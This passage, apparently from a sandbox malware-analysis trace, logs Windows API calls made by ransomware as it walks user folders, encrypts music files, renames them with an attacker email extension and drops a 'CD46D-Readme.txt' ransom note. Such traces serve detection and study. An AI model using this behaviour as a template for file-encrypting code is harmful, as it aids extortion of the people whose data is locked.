ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0051.790] wcscmp (_String1="Security", _String2=".") returned 1 [0051.790] wcscmp (_String1="Security", _String2="..") returned 1 [0051.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee478 [0051.790] wcscpy (in: _Dest=0x4ee478, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0051.790] wcscat (in: _Dest=0x4ee478, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0051.790] wcscat (in: _Dest=0x4ee478, _Source="Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0051.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ee478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee0 [0051.792] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0051.792] FindClose (in: hFindFile=0x440c60 | out: hFindFile=0x440c60) returned 1 [0051.792] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e04af0) returned 1 [0051.792] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4169c0) returned 1 [0051.792] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4168a0) returned 1 Thread: id = 767 os_tid = 0xe74 [0051.527] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\4d-r.wav")) returned 0x20 [0051.527] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav", dwFileAttributes=0x20) returned 1 [0052.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\4d-r.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd2c [0052.473] GetFileSizeEx (in: hFile=0xd2c, lpFileSize=0xe3af918 | out: lpFileSize=0xe3af918*=46135) returned 1 [0052.473] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0xb433, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.473] ReadFile (in: hFile=0xd2c, lpBuffer=0xe3af89c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe3af898, lpOverlapped=0x0 | out: lpBuffer=0xe3af89c*, lpNumberOfBytesRead=0xe3af898*=0x4, lpOverlapped=0x0) returned 1 [0052.474] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9170 [0052.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e91e8 [0052.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9210 [0052.474] NtQuerySystemTime (in: CurrentTime=0xe3af878 | out: CurrentTime=0xe3af878*=132174898164552000) returned 0x0 [0052.474] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x5241c9ef [0052.474] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x33c875e6 [0052.474] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x7fc454c8 [0052.474] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x4857a188 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x149d1fff [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x420932f8 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x718d0f2d [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x7324d01f [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x624da918 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x7036492d [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0xf5ea7f6 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x710c84ed [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x6af96dee [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x70d0b719 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x4ab196bd [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x6f126da0 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x227d4ee1 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x4b4a20c [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x49a702fd [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x30df55d [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x7a0e9652 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x3660d98c [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x5c3a41f9 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x1e6e8a8b [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x2b4c9aeb [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x73a7c8eb [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x6cc18d0f [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x6aadfb46 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x4cb61d35 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x36633486 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x582ec579 [0052.475] RtlRandomEx (in: Seed=0xe3af884 | out: Seed=0xe3af884) returned 0x483154e5 [0052.488] ReadFile (in: hFile=0xd2c, lpBuffer=0x12f0ca90, nNumberOfBytesToRead=0xb437, lpNumberOfBytesRead=0xe3af874, lpOverlapped=0x0 | out: lpBuffer=0x12f0ca90*, lpNumberOfBytesRead=0xe3af874*=0xb437, lpOverlapped=0x0) returned 1 [0052.490] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.490] WriteFile (in: hFile=0xd2c, lpBuffer=0x12f19298*, nNumberOfBytesToWrite=0xb437, lpNumberOfBytesWritten=0xe3af870, lpOverlapped=0x0 | out: lpBuffer=0x12f19298*, lpNumberOfBytesWritten=0xe3af870*=0xb437, lpOverlapped=0x0) returned 1 [0056.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429688 [0056.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292c8 [0056.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292c8) returned 1 [0056.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f19298) returned 1 [0056.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f0ca90) returned 1 [0056.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e460e8) returned 1 [0056.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0056.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x4292c8 [0056.408] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.409] WriteFile (in: hFile=0xd2c, lpBuffer=0x44e990*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xe3af8d8, lpOverlapped=0x0 | out: lpBuffer=0x44e990*, lpNumberOfBytesWritten=0xe3af8d8*=0x101, lpOverlapped=0x0) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e990) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292c8) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e91e8) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9238) returned 1 [0056.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9260) returned 1 [0056.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d6b8 [0056.580] wcscpy (in: _Dest=0x12f4d6b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav" [0056.580] wcscat (in: _Dest=0x12f4d6b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav.mailto[2Hamlampampom@cock.li].cd46d" [0056.580] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe3af890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d7c0 [0056.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d7c0) returned 1 [0056.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d7c08) returned 1 [0056.641] NtQueryInformationFile (in: FileHandle=0xd2c, IoStatusBlock=0xe3af89c, FileInformation=0xe3af874, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe3af89c, FileInformation=0xe3af874) returned 0x0 [0056.641] NtSetInformationFile (FileHandle=0xd2c, IoStatusBlock=0xe3af89c, FileInformation=0xe3af874, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.666] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d6b8) returned 1 [0056.666] FlushFileBuffers (hFile=0xd2c) returned 1 [0056.670] CloseHandle (hObject=0xd2c) returned 1 [0056.684] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a288 [0056.684] wcscpy (in: _Dest=0x12e2a288, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.684] wcscat (in: _Dest=0x12e2a288, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.684] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0xffffffff [0056.684] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbd4 [0056.693] WriteFile (in: hFile=0xbd4, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xe3af898, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xe3af898*=0x6fd, lpOverlapped=0x0) returned 1 [0056.700] CloseHandle (hObject=0xbd4) returned 1 [0056.705] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a288) returned 1 [0056.705] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f2b8) returned 1 Thread: id = 768 os_tid = 0xec8 [0051.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08298 [0051.527] wcscpy (in: _Dest=0x12e08298, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" [0051.527] wcscat (in: _Dest=0x12e08298, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\" [0051.527] wcscat (in: _Dest=0x12e08298, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\*" [0051.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04d58 [0051.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\*", lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7708d70, ftCreationTime.dwHighDateTime=0x1d4c5bb, ftLastAccessTime.dwLowDateTime=0x8719d3c0, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0x8719d3c0, ftLastWriteTime.dwHighDateTime=0x1d4cd0e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ca0 [0051.528] wcscmp (_String1=".", _String2=".") returned 0 [0051.528] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7708d70, ftCreationTime.dwHighDateTime=0x1d4c5bb, ftLastAccessTime.dwLowDateTime=0x8719d3c0, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0x8719d3c0, ftLastWriteTime.dwHighDateTime=0x1d4cd0e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.528] wcscmp (_String1="..", _String2=".") returned 1 [0051.528] wcscmp (_String1="..", _String2="..") returned 0 [0051.528] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74290340, ftCreationTime.dwHighDateTime=0x1d4cb64, ftLastAccessTime.dwLowDateTime=0xbd32acb0, ftLastAccessTime.dwHighDateTime=0x1d4d1ce, ftLastWriteTime.dwLowDateTime=0xbd32acb0, ftLastWriteTime.dwHighDateTime=0x1d4d1ce, nFileSizeHigh=0x0, nFileSizeLow=0x1448a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0vQ3xh.m4a", cAlternateFileName="")) returned 1 [0051.528] wcscmp (_String1="0vQ3xh.m4a", _String2=".") returned 1 [0051.528] wcscmp (_String1="0vQ3xh.m4a", _String2="..") returned 1 [0051.528] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417230 [0051.528] wcscpy (in: _Dest=0x417230, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" [0051.528] wcscat (in: _Dest=0x417230, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\" [0051.528] wcscat (in: _Dest=0x417230, _Source="0vQ3xh.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\0vQ3xh.m4a" [0057.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0057.858] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x635decd0, ftCreationTime.dwHighDateTime=0x1d4c6e4, ftLastAccessTime.dwLowDateTime=0x2b256c60, ftLastAccessTime.dwHighDateTime=0x1d4d0c3, ftLastWriteTime.dwLowDateTime=0x2b256c60, ftLastWriteTime.dwHighDateTime=0x1d4d0c3, nFileSizeHigh=0x0, nFileSizeLow=0x79ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxaWqwq TcnsT.wav", cAlternateFileName="HXAWQW~1.WAV")) returned 1 [0057.858] wcscmp (_String1="hxaWqwq TcnsT.wav", _String2=".") returned 1 [0057.858] wcscmp (_String1="hxaWqwq TcnsT.wav", _String2="..") returned 1 [0057.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee518 [0057.858] wcscpy (in: _Dest=0x4ee518, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" [0057.858] wcscat (in: _Dest=0x4ee518, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\" [0057.858] wcscat (in: _Dest=0x4ee518, _Source="hxaWqwq TcnsT.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav" [0057.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0057.859] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b241000, ftCreationTime.dwHighDateTime=0x1d4d338, ftLastAccessTime.dwLowDateTime=0xba432530, ftLastAccessTime.dwHighDateTime=0x1d4c70a, ftLastWriteTime.dwLowDateTime=0xba432530, ftLastWriteTime.dwHighDateTime=0x1d4c70a, nFileSizeHigh=0x0, nFileSizeLow=0x8443, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pile5RkUpQ9u6NQNq.wav", cAlternateFileName="PILE5R~1.WAV")) returned 1 [0057.859] wcscmp (_String1="Pile5RkUpQ9u6NQNq.wav", _String2=".") returned 1 [0057.859] wcscmp (_String1="Pile5RkUpQ9u6NQNq.wav", _String2="..") returned 1 [0057.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43ef80 [0057.859] wcscpy (in: _Dest=0x43ef80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" [0057.859] wcscat (in: _Dest=0x43ef80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\" [0057.859] wcscat (in: _Dest=0x43ef80, _Source="Pile5RkUpQ9u6NQNq.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav" [0057.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ef80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0057.860] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e2b6910, ftCreationTime.dwHighDateTime=0x1d4c8c3, ftLastAccessTime.dwLowDateTime=0x91540f20, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0x91540f20, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0xb916, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEK1.m4a", cAlternateFileName="")) returned 1 [0057.860] wcscmp (_String1="SEK1.m4a", _String2=".") returned 1 [0057.860] wcscmp (_String1="SEK1.m4a", _String2="..") returned 1 [0057.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x416ae0 [0057.860] wcscpy (in: _Dest=0x416ae0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" [0057.860] wcscat (in: _Dest=0x416ae0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\" [0057.860] wcscat (in: _Dest=0x416ae0, _Source="SEK1.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a" [0057.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0057.861] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e8ea90, ftCreationTime.dwHighDateTime=0x1d4ce48, ftLastAccessTime.dwLowDateTime=0x3d0606e0, ftLastAccessTime.dwHighDateTime=0x1d4cc42, ftLastWriteTime.dwLowDateTime=0x3d0606e0, ftLastWriteTime.dwHighDateTime=0x1d4cc42, nFileSizeHigh=0x0, nFileSizeLow=0x14593, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZsH9w21fY.mp3", cAlternateFileName="ZSH9W2~1.MP3")) returned 1 [0057.861] wcscmp (_String1="ZsH9w21fY.mp3", _String2=".") returned 1 [0057.861] wcscmp (_String1="ZsH9w21fY.mp3", _String2="..") returned 1 [0057.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x438fd0 [0057.861] wcscpy (in: _Dest=0x438fd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" [0057.862] wcscat (in: _Dest=0x438fd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\" [0057.862] wcscat 